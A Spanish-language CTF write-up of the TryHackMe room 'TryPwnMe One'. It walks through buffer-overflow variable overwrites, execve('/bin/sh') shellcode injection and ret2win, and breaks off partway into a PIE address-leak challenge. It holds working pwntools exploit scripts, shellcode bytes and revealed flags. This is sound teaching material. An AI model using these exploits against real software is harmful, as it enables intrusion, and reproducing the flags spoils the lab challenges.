TryPwnMe One - TryHackMe

Posted on 33 mins

Pwn

En este post traigo la solución a los retos de la sala TryPwnMe One de la plataforma TryHackMe, esta sala fue creada por mi amigo dplastico , quiero decir que me lo pase muy bien mientras resolvía los retos y estos eran de gran calidad, ademas que aprendi muchisimo durante el proceso. A por ello!.

TryOverflowMe 1

Nos entregan un binario con la siguientes protecciones.

$ checksec overflowme1 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Tambien tenemos su codigo fuente.

int main(){
    setup();
    banner();
    int admin = 0;
    char buf[0x10];

    puts("PLease go ahead and leave a comment :");
    gets(buf);

    if (admin){
        const char* filename = "flag.txt";
        FILE* file = fopen(filename, "r");
        char ch;
        while ((ch = fgetc(file)) != EOF) {
            putchar(ch);
    }
    fclose(file);
    }

    else{
        puts("Bye bye\n");
        exit(1);
    }
}

Analisis del codigo fuente.

Vemos que define una variable admin con el valor de 0, luego define un buffer de 0x10 (16 bytes en decimal), con puts imprime la cadena PLease go ahead and leave a comment : y toma nuestro input con la funcion gets(), esto hace que el binario sea vulnerable a Buffer Overflow ya qué esta funcion no controla el tamaño de nuestro input permitiendonos desbordar el buffer. Por ultimo con un condicional if comprueba si la variable admin es igual a 1, si esto es verdadero habre la flag (flag.txt) y la muestra por pantalla, si no se cumple la condicion imprime por pantalla Bye bye y sale del programa con un codigo de estado 1.

Para resolver este desafío, es necesario modificar el valor de la variable admin a un valor distinto de 0 para que la condición del if se evalúe como verdadera y se ejecute la lectura de flag.txt. Dado que gets(buf) permite una entrada sin restricciones de tamaño, podemos explotar un Buffer Overflow para sobrescribir la variable admin en memoria. Para ello, primero debemos determinar el offset exacto que separa el inicio del buffer de la dirección de admin en la pila, lo que nos permitirá calcular el padding necesario. Una vez identificado el desplazamiento correcto, inyectamos una secuencia de bytes que contenga los datos de relleno seguidos del valor 0x1 (o cualquier valor distinto de 0) en la posición correspondiente.

Explotación.

Para calcular el offset vamos abrir el binario utilizando gdb con la extesión gef , pondremos un breakpoint en main y ejecutaremos el binario.

────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdca0│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffdca8│+0x0008: 0x0000000000000000
0x00007fffffffdcb0│+0x0010: 0x0000000000000000
0x00007fffffffdcb8│+0x0018: 0x00007ffff7fe5af0<dl_main+0000> endbr64 
0x00007fffffffdcc0│+0x0020: 0x00007fffffffddb00x00000000004006c0<_start+0000> xor ebp, ebp
0x00007fffffffdcc8│+0x0028: 0x00007fffffffddf80x00007fffffffe16e"/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TryOverF[...]"
0x00007fffffffdcd0│+0x0030: 0x00007fffffffdd700x00007fffffffddd0  →  0x0000000000000000     ← $rbp
0x00007fffffffdcd8│+0x0038: 0x00007ffff7c2a1ca<__libc_start_call_main+007a> mov edi, eax
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
    0x4008da <main+0000>      push   rbp
     0x4008db <main+0001>      mov    rbp, rsp
     0x4008de <main+0004>      sub    rsp, 0x30
 →   0x4008e2 <main+0008>      mov    eax, 0x0
     0x4008e7 <main+000d>      call   0x4007a2 <setup>
     0x4008ec <main+0012>      mov    eax, 0x0
     0x4008f1 <main+0017>      call   0x4007e5 <banner>
     0x4008f6 <main+001c>      mov    DWORD PTR [rbp-0x4], 0x0
     0x4008fd <main+0023>      lea    rdi, [rip+0x33c]        # 0x400c40

Al ejecutar el binario y analizar su flujo de ejecución, se observa que el programa mueve el valor del registro rsp al rbp, estableciendo así el stack frame. Posteriormente, se resta 0x30 (48 en decimal) a rsp, reservando espacio en la pila para variables locales. La instrucción mov DWORD PTR [rbp-0x4], 0x0 inicializa la variable admin en 0, ubicándola en rbp-0x4. Para determinar el offset se debe calcular la distancia entre el inicio del buffer y la dirección de admin en la pila. Dado que rsp se decrementó en 0x30 y admin está en rbp-0x4, el desplazamiento requerido es 0x30 - 0x4 = 0x2c (44 en decimal). Con este valor, podemos construir un payload con 44 bytes de relleno seguidos de un valor distinto de 0 (en este caso sera 1), logrando así modificar la variable admin y forzar la ejecución del bloque de código que imprime la bandera.

Flag

Para resolver el desafio cree un script el cual envia 16 bytes (En A’s) por el buffer definido char buf[0x10]; mas 28 bytes (En B’s) el cual representa el padding y por ultimo el valor de 1 en 8 bytes (\x01) para sobreescribir la variable.

from pwn import *

context.binary = ELF('./overflowme1')
p = remote('10.10.119.55', 9003)

payload = b'A' * 16 # char buf[0x10];
payload += b'B' * 28 # padding
payload += p8(1)

p.sendline(payload)
p.interactive()

Al ejecutarlo podemos obtener la flag en la instancia remota.

$ python3 solve.py 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[+] Opening connection to 10.10.119.55 on port 9003: Done
[*] Switching to interactive mode
                  ___           ___       
      ___        /__/\         /__/\    
     /  /\       \  \:\       |  |::\   
    /  /:/        \__\:\      |  |:|:\  
   /  /:/     ___ /  /::\   __|__|:|\:\ 
  /  /::\    /__/\  /:/\:\ /__/::::| \:\
 /__/:/\:\   \  \:\/:/__\/ \  \:\~~\__\/
 \__\/  \:\   \  \::/       \  \:\      
      \  \:\   \  \:\        \  \:\     
       \__\/    \  \:\        \  \:\    
                 \__\/         \__\/ 

Please go ahead and leave a comment :
THM{Oooooooooooooovvvvverrrflloowwwwww}
[*] Got EOF while reading in interactive

TryOverflowMe 2

Nos entregan un binario con las siguientes protecciones.

$ checksec overflowme2
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Tambien tenemos su codigo fuente.

int read_flag(){
        const char* filename = "flag.txt";
        FILE* file = fopen(filename, "r");
        if(!file){
            puts("the file flag.txt is not in the current directory, please contact support\n");
            exit(1);
        }
        char ch;
        while ((ch = fgetc(file)) != EOF) {
        putchar(ch);
    }
    fclose(file);
}

int main(){
    
    setup();
    banner();
    int admin = 0;
    int guess = 1;
    int check = 0;
    char buf[64];

    puts("Please Go ahead and leave a comment :");
    gets(buf);

    if (admin==0x59595959){
            read_flag();
    }

    else{
        puts("Bye bye\n");
        exit(1);
    }
}

Analisis del codigo fuente.

El código define la función read_flag(), cuya finalidad es abrir el archivo flag.txt y mostrar su contenido en pantalla. Si el archivo no se encuentra en el directorio actual, el programa imprime un mensaje de error y finaliza la ejecución. En la función main(), se declaran las variables admin, guess y check, junto con un buffer de 64 bytes. Posteriormente, el programa muestra el mensaje Please Go ahead an leave a comment : y recibe la entrada del usuario mediante gets(), lo que hace que el binario sea vulnerable a Buffer Overflow. Luego, se evalúa si la variable admin contiene el valor 0x59595959; en caso afirmativo, llama a la funcion read_flag(), permitiendo acceder a la bandera. De lo contrario, se imprime Bye bye y el programa finaliza con un código de salida 1. Esta implementación es vulnerable a sobrescritura de variables en memoria, permitiendo modificar admin mediante un desbordamiento de buffer para desencadenar la ejecución de read_flag().

Para resolver el desafío, debemos explotar el Buffer Overflow para sobrescribir la variable admin con el valor 0x59595959. Para lograrlo, primero se debe calcular el offset exacto que permita llenar completamente el buffer y alcanzar la dirección de admin en la memoria. Esto se consigue enviando una entrada controlada con el número preciso de bytes que desborde el buffer y sobrescriba la variable de manera predecible, garantizando así la ejecución de read_flag().

Explotación.

Abriremos el binario en GDB y utilizaremos el comando disass obtener el desensamblado de la función main(), lo que nos permitirá analizar su flujo de ejecución y las instrucciones clave.

gef➤  disass main
Dump of assembler code for function main:
   0x0000000000400950 <+0>:     push   rbp
   0x0000000000400951 <+1>:     mov    rbp,rsp
   0x0000000000400954 <+4>:     sub    rsp,0x50
   0x0000000000400958 <+8>:     mov    eax,0x0
   0x000000000040095d <+13>:    call   0x400818 <setup>
   0x0000000000400962 <+18>:    mov    eax,0x0
   0x0000000000400967 <+23>:    call   0x40085b <banner>
   0x000000000040096c <+28>:    mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000400973 <+35>:    mov    DWORD PTR [rbp-0x8],0x1
   0x000000000040097a <+42>:    mov    DWORD PTR [rbp-0xc],0x0
   0x0000000000400981 <+49>:    lea    rdi,[rip+0x358]        # 0x400ce0
   0x0000000000400988 <+56>:    call   0x400640 <puts@plt>
   0x000000000040098d <+61>:    lea    rax,[rbp-0x50]
   0x0000000000400991 <+65>:    mov    rdi,rax
   0x0000000000400994 <+68>:    mov    eax,0x0
   0x0000000000400999 <+73>:    call   0x400680 <gets@plt>
   0x000000000040099e <+78>:    cmp    DWORD PTR [rbp-0x4],0x59595959
   0x00000000004009a5 <+85>:    jne    0x4009b8 <main+104>
   0x00000000004009a7 <+87>:    mov    eax,0x0
   0x00000000004009ac <+92>:    call   0x4007a2 <read_flag>
   0x00000000004009b1 <+97>:    mov    eax,0x0
   0x00000000004009b6 <+102>:   jmp    0x4009ce <main+126>
   0x00000000004009b8 <+104>:   lea    rdi,[rip+0x347]        # 0x400d06
   0x00000000004009bf <+111>:   call   0x400640 <puts@plt>
   0x00000000004009c4 <+116>:   mov    edi,0x1
   0x00000000004009c9 <+121>:   call   0x4006b0 <exit@plt>
   0x00000000004009ce <+126>:   leave
   0x00000000004009cf <+127>:   ret
End of assembler dump.

Vemos qué mueve el valor del registro rsp al rbp, estableciendo así el stack frame. Posteriormente, se resta 0x50 (80 en decimal) a rsp, reservando espacio en la pila para variables locales. La instrucción mov DWORD PTR [rbp-0x4],0x0 inicializa la variable admin en 0, ubicándola en rbp-0x4. Para determinar el offset debemos hacer lo mismo que en el desafio pasado, calcular la distancia entre el inicio del buffer y la dirección de admin en la pila. Dado que rsp se decrementó en 0x50 y admin está en rbp-0x4, el desplazamiento requerido es 0x50 - 0x4 = 0x4c (76 en decimal). Con este valor, podemos construir un payload con 76 bytes de relleno seguidos de 0x59595959, logrando así modificar la variable admin y forzar la ejecución del bloque de código que imprime la bandera.

Flag

Con el siguiente script podremos resolver el desafio.

from pwn import *

context.binary = ELF('./overflowme2')
p = remote('10.10.119.55', 9004)

payload = b'A' * 64 # char buf[64];
payload += b'B' * 12 # padding 
payload += p64(0x59595959) # if (admin==0x59595959)

p.sendline(payload)
p.interactive()

Al ejecutarlo obtendremos la flag.

$ python3 solve.py 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[+] Opening connection to 10.10.119.55 on port 9004: Done
[*] Switching to interactive mode
                  ___           ___       
      ___        /__/\         /__/\    
     /  /\       \  \:\       |  |::\   
    /  /:/        \__\:\      |  |:|:\  
   /  /:/     ___ /  /::\   __|__|:|\:\ 
  /  /::\    /__/\  /:/\:\ /__/::::| \:\
 /__/:/\:\   \  \:\/:/__\/ \  \:\~~\__\/
 \__\/  \:\   \  \::/       \  \:\      
      \  \:\   \  \:\        \  \:\     
       \__\/    \  \:\        \  \:\    
                 \__\/         \__\/ 

Please go ahead and leave a comment :
THM{why_just_the_A_have_all_theFun?}
[*] Got EOF while reading in interactive

TryExecMe

Nos entregan un binario con las siguientes protecciones.

$ checksec tryexecme 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

Vemos que no cuenta con ninguna, especialmente la proteccion NX, lo que nos permitira ejecutar shellcode en la pila.

Tambien tenemos su codigo fuente.

int main(){
    setup();
    banner();
    char *buf[128];   

    puts("\nGive me your shell, and I will execute it: ");
    read(0,buf,sizeof(buf));
    puts("\nExecuting Spell...\n");

    ( ( void (*) () ) buf) ();

}

Analisis del codigo fuente.

En la función main(), se llaman las funciones setup() y banner(), seguidas de la declaración de un buffer buf de 128 bytes. A continuación, se imprime el mensaje Give me your shell, and I will execute it: utilizando puts(), y se recibe la entrada del usuario mediante read(0, buf, sizeof(buf)). Posteriormente, se imprime Executing Spell... y se convierte buf en un puntero a función, ejecutándolo directamente. Esto implica que cualquier código inyectado en buf será ejecutado, lo que hace que podamos ejecutar shellcode.

$ ./tryexecme 
                       ,---.
                       /    |
                      /     |
                     /      |
                    /       |
               ___,'        |
             <  -'          :
              `-.__..--'``-,_\_
                 |o/ ` :,.)_`>
                 :/ `     ||/)
                 (_.).__,-` |\
                 /( `.``   `| :
                 \'`-.)  `  ; ;
                 | `       /-<
                 |     `  /   `.
 ,-_-..____     /|  `    :__..-'\
/,'-.__\\  ``-./ :`      ;       \
`\ `\  `\\  \ :  (   `  /  ,   `. \
  \` \   \\   |  | `   :  :     .\ \
   \ `\_  ))  :  ;     |  |      ): :
  (`-.-'\ ||  |\ \   ` ;  ;       | |
   \-_   `;;._   ( `  /  /_       | |
    `-.-.// ,'`-._\__/_,'         ; |
       \:: :     /     `     ,   /  |
        || |    (        ,' /   /   |
        ||                ,'   /    |

Give me your shell, and I will execute it: 
test

Executing Spell...

[1]    136039 segmentation fault (core dumped)  ./tryexecme

Al ejecutar el binario e ingresar un texto aleatorio, el programa termina abruptamente y muestra el siguiente mensaje: [1] 136039 segmentation fault (core dumped) ./tryexecme. Esto indica que ocurrió un fallo de segmentación, lo que sugiere que el programa intentó acceder a una región de memoria no permitida, probablemente debido a la manipulación incorrecta del puntero o el desbordamiento de buffer.

En términos simples, un shellcode es un fragmento de código escrito en ensamblador que se convierte en una secuencia de instrucciones en formato hexadecimal. Su propósito es ser inyectado en la memoria de un binario o sistema vulnerable para lograr la ejecución arbitraria de código, generalmente con el objetivo de obtener control sobre el programa o el sistema.

Explotación

Para resolver este desafio buscaremos en Google un shellcode que ejecute /bin/sh, usare este .

$ cat s.asm 
global _start
section .text
_start:
    xor rsi,rsi
    push rsi
    mov rdi,0x68732f2f6e69622f
    push rdi
    push rsp
    pop rdi
    push 59
    pop rax
    cdq
    syscall

Flag

Con este script enviaremos el shellcode a la instacia remota.

from pwn import *

context.binary = ELF('./tryexecme')
p = remote('10.10.119.55', 9005)

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

payload = shellcode

p.sendline(payload)
p.interactive()

Al ejecutarlo obtendremos una shell y podremos leer la flag.

$ python3 solve.py 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[+] Opening connection to 10.10.119.55 on port 9005: Done
[*] Switching to interactive mode
                       ,---.
                       /    |
                      /     |
                     /      |
                    /       |
               ___,'        |
             <  -'          :
              `-.__..--'``-,_\_
                 |o/ ` :,.)_`>
                 :/ `     ||/)
                 (_.).__,-` |\
                 /( `.``   `| :
                 \'`-.)  `  ; ;
                 | `       /-<
                 |     `  /   `.
 ,-_-..____     /|  `    :__..-'\
/,'-.__\\  ``-./ :`      ;       \
`\ `\  `\\  \ :  (   `  /  ,   `. \
  \` \   \\   |  | `   :  :     .\ \
   \ `\_  ))  :  ;     |  |      ): :
  (`-.-'\ ||  |\ \   ` ;  ;       | |
   \-_   `;;._   ( `  /  /_       | |
    `-.-.// ,'`-._\__/_,'         ; |
       \:: :     /     `     ,   /  |
        || |    (        ,' /   /   |
        ||                ,'   /    |

Give me your shell, and I will execute it: 

Executing Spell...

$ ls
flag.txt
run
$ whoami
whoami: cannot find name for user ID 1000
$ cat flag.txt
THM{Tr1Execm3_with_s0m3_sh3llc0de_w00t}

TryRetMe

Nos entregan un binario con las siguientes protecciones.

$ checksec tryretme 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Tambien tenemos su codigo fuente.

int win(){

    system("/bin/sh");
}

void vuln(){
    char *buf[0x20];
    puts("Return to where? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
}

int main(){
    setup();
    vuln();
}

Analisis del codigo fuente

Se define una función win(), que utiliza la función system() para ejecutar el comando /bin/sh, lo que proporcionará un shell interactivo si se invoca correctamente. A continuación, se define la función vuln(), en la cual se declara un buffer de 0x20 bytes (32 en decimal). La función luego imprime un mensaje solicitando una entrada del usuario, utilizando la función read() para leer hasta 0x200 bytes (512 en decimal) desde la entrada estándar. Esta discrepancia entre el tamaño del buffer y la cantidad de datos hace que el binario sea vulnerable a Buffer Overflow. Finalmente en la función main() se llama a vuln().

Para resolver este desafío, debemos explotar la vulnerabilidad de Buffer Overflow presente en la función vuln(). Aprovecharemos el desbordamiento del buffer para sobrescribir la dirección de retorno de la función y redirigir la ejecución del programa hacia la función win(). Esto nos permitirá ejecutar el comando system("/bin/sh") y obtener una shell interactiva, desde la cual podremos leer la flag.

Explotación

Lo primero que haremos sera calcular el offset, esto con la finalidad de saber cuantos bytes necesitamos para llegar al rsp y controlar la ejecución del programa, para esto utilizaremos gdb.

gef➤  pattern create 500                                                                                                                                                                                                                                                                                                     
[+] Generating a pattern of 500 bytes (n=8)                                                                                                                                                                                                                                                                                  
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaa
aabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa                                                                                                                                      
[+] Saved as '$_gef0'                                                                                                                                                                                                                                                                                                        
gef➤  run                                                                                                                                                                                                                                                                                                                    
Starting program: /home/abund4nt/pwn/TryHackMe/TryPwnMe One/TryRetMe/tryretme                                                                                                                                                                                                                                                
[Thread debugging using libthread_db enabled]                                                                                                                                                                                                                                                                                
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                                                                                                                                                                                                                                   
Return to where? :                                                                                                                                                                                                                                                                                                           
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaa
aabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa                                                                                                                                      
                                                                                                                                                                                                                                                                                                                             
ok, let's go!                                                                                                                                                                                                                                                                                                                
                                                                                                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                                                                                                             
Program received signal SIGSEGV, Segmentation fault.                                                                                                                                                                                                                                                                         
0x0000000000401236 in vuln ()                                                                                                                                                                                                                                                                                                
[ Legend: Modified register | Code | Heap | Stack | String ]                                                                                                                                                                                                                                                                 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────                                                                                                                               
$rax   : 0x10                                                                  
$rbx   : 0x00007fffffffde280x00007fffffffe196"/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TryRetMe[...]"                                                                                                                                                                                                             
$rcx   : 0x00007ffff7d1c574  →  0x5477fffff0003d48 ("H="?)                                                                                                    
$rdx   : 0x0                                                                   
$rsp   : 0x00007fffffffdcf8"iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]"                                                                     
$rbp   : 0x6261616161616168 ("haaaaaab"?)                                      
$rsi   : 0x00007ffff7e04643  →  0xe05710000000000a ("\n"?)                                                                                                    
$rdi   : 0x00007ffff7e05710  →  0x0000000000000000                                                                                                            
$rip   : 0x0000000000401236<vuln+0042> ret                                                                                                               
$r8    : 0xf                                                                   
$r9    : 0x00007ffff7fca380<_dl_fini+0000> endbr64                                                                                                       
$r10   : 0x00007ffff7c109d8  →  0x0011001200001bd3                                                                                                            
$r11   : 0x202                                                                 
$r12   : 0x1                                                                   
$r13   : 0x0                                                                   
$r14   : 0x0                                                                   
$r15   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000000000000000                                                                                     
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]                                                                                                                                                                                                                  
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00                                                                                                   
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────                                                                                                                               
0x00007fffffffdcf8│+0x0000: "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]"    ← $rsp                                                               
0x00007fffffffdd00│+0x0008: "jaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpa[...]"                                                                         
0x00007fffffffdd08│+0x0010: "kaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqa[...]"                                                                         
0x00007fffffffdd10│+0x0018: "laaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabra[...]"                                                                         
0x00007fffffffdd18│+0x0020: "maaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsa[...]"                                                                         
0x00007fffffffdd20│+0x0028: "naaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabta[...]"                                                                         
0x00007fffffffdd28│+0x0030: "oaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabua[...]"                                                                         
0x00007fffffffdd30│+0x0038: "paaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabva[...]"                                                                         
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────                                                                                                                               
     0x40122f <vuln+003b>      call   0x401070 <puts@plt>                                                                                                     
     0x401234 <vuln+0040>      nop                                             
     0x401235 <vuln+0041>      leave                                           
 →   0x401236 <vuln+0042>      ret                                             
[!] Cannot disassemble from $PC                                                
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────                                                                                                                               
[#0] Id 1, Name: "tryretme", stopped 0x401236 in vuln (), reason: SIGSEGV                                                                                     
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────                                                                                                                               
[#0] 0x401236 → vuln()                                                         
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────                                                                                                                               
gef➤  pattern search $rsp                                                      
[+] Searching for '6961616161616162'/'6261616161616169' with period=8                                                                                         
[+] Found at offset 264 (little-endian search) likely

Necesitamos 264 bytes para sobrescribir el registro rsp y alcanzar la ejecución controlada. Ahora, el siguiente paso es encontrar un gadget ret para alinear correctamente el stack, ya que el servidor está corriendo en Ubuntu y requiere que el stack esté alineado a 16 bytes. Utilizaremos la herramienta ropper para buscar el gadget adecuado y, posteriormente, obtendremos la dirección de la función win() para redirigir la ejecución hacia ella.

$ ropper --file tryretme --search 'ret'
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: tryretme
0x000000000040101a: ret;

Con la dirección del gadget ret identificada, el siguiente paso es obtener la dirección de memoria de la función win(). Para ello, utilizaremos el comando info functions en gdb, lo que nos permitirá listar todas las funciones del binario y ubicar la dirección exacta de win().

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401070  puts@plt
0x0000000000401080  system@plt
0x0000000000401090  read@plt
0x00000000004010a0  setvbuf@plt
0x00000000004010b0  _start
0x00000000004010e0  _dl_relocate_static_pie
0x00000000004010f0  deregister_tm_clones
0x0000000000401120  register_tm_clones
0x0000000000401160  __do_global_dtors_aux
0x0000000000401190  frame_dummy
0x0000000000401196  setup
0x00000000004011dd  win
0x00000000004011f4  vuln
0x0000000000401237  main
0x0000000000401260  __libc_csu_init
0x00000000004012d0  __libc_csu_fini
0x00000000004012d8  _fini

Con toda la información recopilada, podemos comenzar a escribir el exploit. Primero enviaremos 264 bytes de paddings (En A’s) para alcanzar el registro rsp. Luego, añadiremos la direccion del gadget ret para alinear el stack correctamente y finalmente incluiremos la direccion de la funcion win(), lo que permitira redirigir la ejecución y obtener una shell interactiva.

Flag

Con el siguiente script podremos resolver el desafio.

from pwn import *

context.binary = ELF('./tryretme')
p = remote('10.10.120.202', 9006)

offset = 264
junk = b'A' * offset

RET = 0x000000000040101a

payload = junk
payload += p64(RET)
payload += p64(0x00000000004011dd)

p.sendline(payload)
p.interactive()

Al ejecutarlo obtendremos una shell y podremos leer la flag.

$ python3 solve.py 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Opening connection to 10.10.120.202 on port 9006: Done
[*] Switching to interactive mode
Return to where? : 

ok, let's go!

$ ls
flag.txt
run
$ cat flag.txt
THM{a_r3t_to_w1n_by_thm}

Random Memories

Nos entregan un binario con las siguientes protecciones.

$ checksec random 
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Esta vez tenemos el PIE y ASLR habilitado, lo que significa que se carga en una dirección de memoria aleatoria cada vez que se ejecuta.

Si quieren profundizar mas en este concepto de bypass ASLR les recomiendo leer este articulo.

Tambien tenemos el codigo fuente del binario.

int win(){
    system("/bin/sh\0");
}

void vuln(){
    char *buf[0x20];
    printf("I can give you a secret %llx\n", &vuln);
    puts("Where are we going? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
}

int main(){
    setup();
    banner();
    vuln();
}

Analisis del codigo fuente

Define una función win() que ejecuta el comando /bin/sh, lo que nos interesa para la explotación. La función vuln() reserva un buffer de 0x20 bytes (32 en decimal) en la pila, luego imprime su dirección de memoria con printf(), y luego lee hasta 0x200 bytes (512 en decimal) de entrada del usuario mediante read(), haciendo que sea vulnerable a Buffer Overflow. La vulnerabilidad surge porque read() no impone límites adecuados, permitiendo escribir más allá del buffer reservado. Si ejecutamos el script veremos el leak del buffer.

$ ./random 
             ___     ___     ___     ___    
           /    \  /    \  /    \  /    \ 
           |  CODE|  |  STACK|  |  HEAP|  |  LIBS|  
           \_____/  \_____/  \_____/  \_____/  
                   ^       ^       ^       ^  
                   |       |       |       |  


                   Powered by THMlabs           
                Unpredictable locations          



I can give you a secret 628acb956319
Where are we going? : 
test

ok, let's go!

Para resolver el desafío, aprovecharemos la filtración (leak) de la dirección del buffer para calcular la dirección base del binario. A partir de esto, podremos determinar dinámicamente los offsets necesarios para la función win() y el gadget ret.

Explotación

Primero, almacenaremos la dirección filtrada del buffer en una variable. Para ello, utilizaremos el siguiente script en Python.

from pwn import *

context.binary = ELF('./random', checksec=False)
p = process()

p.recvuntil(b'I can give you a secret ')
buffer_leak = int(p.recvline().strip(), 16)
log.info(f'Buffer leak = {hex(buffer_leak)}')

Al ejecutar el script varias veces, podemos observar que la dirección del buffer cambia en cada ejecución debido a las protecciones habilitadas. Con esto ya tenemos para calcular los offsets necesarios.

RandomMemories $ python3 debug.py 
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 69296
[*] Buffer leak = 0x5b4f132a6319
[*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 69296)
RandomMemories $ python3 debug.py 
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 69306
[*] Buffer leak = 0x57b32116b319
[*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 69306)
RandomMemories $ python3 debug.py 
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 69317
[*] Buffer leak = 0x5dc25f290319
[*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 69317)
RandomMemories $ python3 debug.py 
[+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 69350
[*] Buffer leak = 0x60cf0d1f1319
[*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 69350)

